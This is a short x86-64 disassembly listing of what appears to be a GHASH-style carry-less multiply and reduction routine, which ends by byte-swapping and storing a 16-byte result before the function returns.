mov qword [rsp + 0x50], rdx
xor r14, rsi
mov rcx, r14
mov rdx, qword [rsp + 0x40]
call fcn.140184ba0
xor r15, r12
xor r15, rdi
xor rax, r15
mov rcx, r12
shl rcx, 0x3f
mov rbp, r12
shl rbp, 0x3e
xor rbp, rcx
mov rbx, r12
shl rbx, 0x39
xor rbx, rbp
xor rbx, rax
mov rbp, rbx
mov rcx, qword [rsp + 0x50]
xor rbp, rcx
mov rdi, r12
shr rdi, 1
mov r8, rax
shl r8, 0x3f
mov rsi, rbx
shr rsi, 1
xor rsi, rbp
mov rbp, r12
shr rbp, 2
xor rbp, rdi
mov rdi, rax
shl rdi, 0x3e
mov r9, rbx
shr r9, 2
shr r12, 7
shl rax, 0x39
xor rax, rdi
xor r12, rcx
xor r12, rbp
xor r15, rdx
mov rdx, r15
xor rdx, r12
xor rdx, r8
xor rdx, rax
shr rbx, 7
xor rbx, r9
xor rbx, rsi
add r13, 0x10
cmp r13, qword [rsp + 0x48]
jne 0x140185030
bswap rbx
bswap rdx
mov r8, rbx
shr r8, 0x10
mov r9, rbx
shr r9, 0x18
mov r10, rbx
shr r10, 0x20
mov r11, rbx
shr r11, 0x28
mov r14, rbx
shr r14, 0x30
mov r15, rbx
shr r15, 0x38
mov r12, rdx
shr r12, 0x10
mov r13, rdx
shr r13, 0x18
mov rdi, rdx
shr rdi, 0x20
mov rsi, rdx
shr rsi, 0x28
mov rax, rdx
shr rax, 0x30
mov rbp, rdx
shr rbp, 0x38
mov rcx, qword [rsp + 0x38]
mov byte [rcx], bl
mov byte [rcx + 1], bh
mov byte [rcx + 2], r8b
mov byte [rcx + 3], r9b
mov byte [rcx + 4], r10b
mov byte [rcx + 5], r11b
mov byte [rcx + 6], r14b
mov byte [rcx + 7], r15b
mov byte [rcx + 8], dl
mov byte [rcx + 9], dh
mov byte [rcx + 0xa], r12b
mov byte [rcx + 0xb], r13b
mov byte [rcx + 0xc], dil
mov byte [rcx + 0xd], sil
mov byte [rcx + 0xe], al
mov byte [rcx + 0xf], bpl
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret